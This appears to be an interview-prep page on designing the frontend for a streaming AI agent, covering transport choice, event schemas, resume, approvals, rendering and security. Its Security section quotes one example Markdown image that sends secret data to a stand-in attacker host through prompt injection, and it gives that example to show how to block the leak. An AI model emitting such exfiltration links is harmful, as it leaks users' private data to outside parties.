Skip to main content
07

Design the UI for a streaming AI agent (like ChatGPT or Claude)

HardLLM streamingSSEAI agentsMarkdown rendering

Design the UI for an AI agent like ChatGPT, Claude or an in-product copilot: the user asks a question, the answer streams in token by token, and the agent may call tools, show its progress, and run for minutes on bigger tasks.

A typical framing: "Users chat with an assistant that can look up data and take actions. Answers should start appearing within a second. Some tasks take several minutes, and users should be able to stop them, approve risky actions, and come back later to see the result."

TL;DR

The model produces output gradually, so the UI streams it. The default transport is SSE-style streaming over HTTP: one POST starts a run and the response is a stream of events. The browser's EventSource only supports GET without custom headers, so in practice you read the stream with fetch + ReadableStream and parse the SSE format yourself (or with a small library). WebSocket makes sense when the conversation is truly two-way during a run (voice, live collaboration, frequent interrupts), but for chat, client actions like stop or approve are just separate HTTP calls.

Stream typed events, not only text: text deltas, tool calls and their results, progress, errors and a final "done". Model a message as a list of parts. Decouple the agent run from the HTTP connection, so a refresh can resume the stream from the last event id and long tasks continue in the background. Render efficiently (batch updates per animation frame, only re-render the last Markdown block), keep scroll "stuck to the bottom" only while the user is at the bottom, and treat model output as untrusted content.

1. Requirements

Questions worth asking:

  • Plain chat, or an agent that calls tools and takes actions?
  • How long can a run take: seconds, or many minutes?
  • Do users need to approve actions before the agent executes them (human in the loop)?
  • Should a run survive a page refresh or closing the tab?
  • Rich output: Markdown, code, tables, charts, citations?
  • Voice input or output? (This changes the transport discussion.)

Functional

  • Send a message, see the answer stream in, stop it at any time.
  • Show tool activity ("Searching documents...", "Querying 3 data sources") and results.
  • Approve or reject risky actions mid-run.
  • Regenerate or edit a message, keep conversation history.
  • Resume or view a finished run after a refresh.

Non-functional

  • Time to first token under ~1 s (show a "thinking" state immediately).
  • Smooth rendering at 50-100 tokens per second without jank.
  • Reliability: network drops don't lose the answer.
  • Security: model output can be manipulated (prompt injection), so it's rendered safely.
  • Accessibility: screen readers get the answer without being spammed by every token.

2. Architecture

Loading diagram...
  • Stream client: starts a run, reads the stream, parses events, reconnects and resumes from the last event id.
  • Conversation store: conversations, messages and their parts. Streaming events update the last assistant message.
  • Renderer: turns message parts into UI: Markdown text, tool cards, approval prompts, citations.
  • Agent runner (server): runs the model and tools independently of the HTTP request, appending every event to a log. The API streams that log to whoever is listening. This is what makes resume and background runs possible.

3. Data model

ts
type MessagePart =
  | { type: 'text'; text: string }
  | { type: 'reasoning'; text: string }
  | {
      type: 'tool-call'
      id: string
      name: string
      input: unknown
      status: 'running' | 'done' | 'error'
      output?: unknown
    }
  | { type: 'approval'; id: string; action: string; status: 'pending' | 'approved' | 'rejected' }
  | { type: 'citation'; url: string; title: string }

type Message = {
  id: string
  role: 'user' | 'assistant'
  parts: MessagePart[]
  /** Supports edit and regenerate: messages form a tree, the UI shows one branch. */
  parentId: string | null
  status: 'streaming' | 'complete' | 'stopped' | 'error'
}

/** One line on the wire. */
type StreamEvent =
  | { type: 'text-delta'; messageId: string; delta: string }
  | { type: 'tool-call-start'; messageId: string; callId: string; name: string; input: unknown }
  | { type: 'tool-call-result'; callId: string; output: unknown }
  | { type: 'approval-required'; approvalId: string; action: string }
  | { type: 'error'; message: string }
  | { type: 'done'; usage: { inputTokens: number; outputTokens: number } }

4. Interface (API)

http
POST /api/conversations/:id/runs      { message }      -> text/event-stream
GET  /api/runs/:runId/events          Last-Event-ID: 42 -> resume the stream
POST /api/runs/:runId/cancel
POST /api/runs/:runId/approvals/:approvalId   { decision: 'approve' | 'reject' }
GET  /api/conversations/:id           -> history, including finished runs

On the wire, each event has an id so the client can resume:

text
id: 42
event: text-delta
data: {"messageId":"m_7","delta":"The backup for "}

id: 43
event: tool-call-start
data: {"messageId":"m_7","callId":"c_1","name":"search_backups","input":{"app":"billing"}}

: keep-alive

5. Optimizations and deep dives

Choosing the transport

OptionGood forLimits
EventSource (native SSE)Simple GET streams, auto-reconnect with Last-Event-IDGET only, no custom headers (no Authorization header, no request body)
fetch + ReadableStream (SSE format or NDJSON)POST a prompt and stream the answer, the common choice for chatYou implement parsing and reconnects yourself
WebSocketTruly two-way sessions: voice, realtime audio, collaborative agents, many interruptsMore infrastructure (auth, sticky routing, reconnect logic), no HTTP caching or middleware
Polling a run statusVery long background jobs, or a fallbackNot token-by-token, delayed

Reading a streamed fetch response:

ts
const response = await fetch(`/api/conversations/${id}/runs`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ message }),
  signal: controller.signal, // Stop button calls controller.abort()
})
const reader = response.body!.pipeThrough(new TextDecoderStream()).getReader()
let buffer = ''
while (true) {
  const { value, done } = await reader.read()
  if (done) break
  buffer += value
  // SSE events end with a blank line; a chunk can hold half an event.
  const events = buffer.split('\n\n')
  buffer = events.pop() ?? ''
  for (const raw of events) handleEvent(parseSseEvent(raw))
}

Network chunks don't line up with events: one chunk can hold half an event or three of them, so always buffer until the separator.

Streaming through the real world

  • Proxies and compression can buffer a response until it ends, which turns streaming into one big delayed blob. Disable buffering for the stream route (for example the X-Accel-Buffering: no header for nginx) and check the corporate proxies your customers use.
  • Send a heartbeat comment every ~15 s so idle connections aren't closed by load balancers.
  • Under HTTP/1.1, browsers allow about 6 connections per domain. A few tabs with open streams can block other requests. HTTP/2 multiplexes streams over one connection and removes most of this problem.

Resume and long runs

If the stream is the run, a refresh or a dropped Wi-Fi connection kills the answer. Instead:

  1. The server starts the run as a background job and appends every event (with an increasing id) to a log (for example a Redis stream).
  2. The HTTP response just tails that log.
  3. After a drop, the client reconnects to GET /runs/:id/events with the last id it saw and gets the missing events, then the live ones.
  4. When the user comes back hours later, the finished run is part of the conversation history.

This also means Stop has to be explicit: aborting the fetch only closes the connection, so the client also calls POST /runs/:id/cancel to stop the model and tools (and the cost).

Human in the loop

When the agent wants to do something risky (delete data, send an email, change infrastructure), the runner pauses and emits approval-required. The UI shows the exact action and its parameters, with Approve and Reject buttons. The decision is a normal POST, and the run continues on the same stream. Approvals should expire, and the server must check the user is allowed to approve.

Rendering a stream efficiently

  • Tokens can arrive 50-100 times per second. Accumulate deltas in a buffer and flush to React once per animation frame, not once per token.
  • Re-parsing the whole Markdown message on every update is O(n²) over a long answer. Split the text into blocks (paragraphs, code blocks): finished blocks are memoized, and only the last, still-growing block re-renders.
  • Handle incomplete Markdown: an unclosed code fence or a half-written table should render sensibly mid-stream. Run syntax highlighting once a code block is closed.
  • Scroll: stick to the bottom only if the user is already there. If they scrolled up to read, don't yank them down; show a "Jump to latest" button.
  • Show a status line for tool calls ("Querying 3 databases...") so long silences don't look like a hang.

Security

  • Never render raw HTML from the model. Use a Markdown renderer with HTML disabled and sanitize links (rel="noopener noreferrer", allowed protocols only).
  • Data exfiltration through images: a prompt-injected answer can include ![](https://attacker.example/?q=<secret data>), and the browser leaks the data just by loading the image. Allow images only from trusted domains (CSP img-src) or proxy them.
  • Show tool inputs before approval, so injected instructions can't hide what the agent is about to do.

Accessibility

Don't announce every token: mark the message aria-busy while streaming and announce it (politely) once complete. Keep the Stop button keyboard reachable, and move focus sensibly when an approval prompt appears.

Errors and limits

Show partial answers when a stream fails halfway, with a "Retry" or "Continue" action. Handle rate limits (429) with a clear message and a retry time, and show context-length errors in plain language.

Common follow-ups

  • "When would you switch to WebSocket?" For voice or realtime audio, agents that collaborate with several users in the same session, or when the client sends frequent events during a run. For text chat, SSE-style streaming plus HTTP actions is simpler and plays better with existing HTTP infrastructure.
  • "How do you support edit and regenerate?" Messages form a tree via parentId. Editing creates a sibling branch, and the UI shows one path with "< 2/3 >" navigation.
  • "How would you test streaming?" Record real event streams and replay them in tests with controlled timing, including split chunks, out-of-order tool results, drops and resumes.
  • "How do you show cost?" The done event carries token usage, which the UI can sum per conversation or per workspace.

What interviewers look for

  • A justified transport choice: why fetch streaming over EventSource, and when WebSocket is worth it.
  • Typed events and message parts, not one growing string.
  • Runs decoupled from connections: resume, background runs and explicit cancel.
  • Rendering performance: batching per frame, incremental Markdown, smart scrolling.
  • Security of model output (no raw HTML, image exfiltration) and human-in-the-loop approvals.

Was this helpful?

Related questions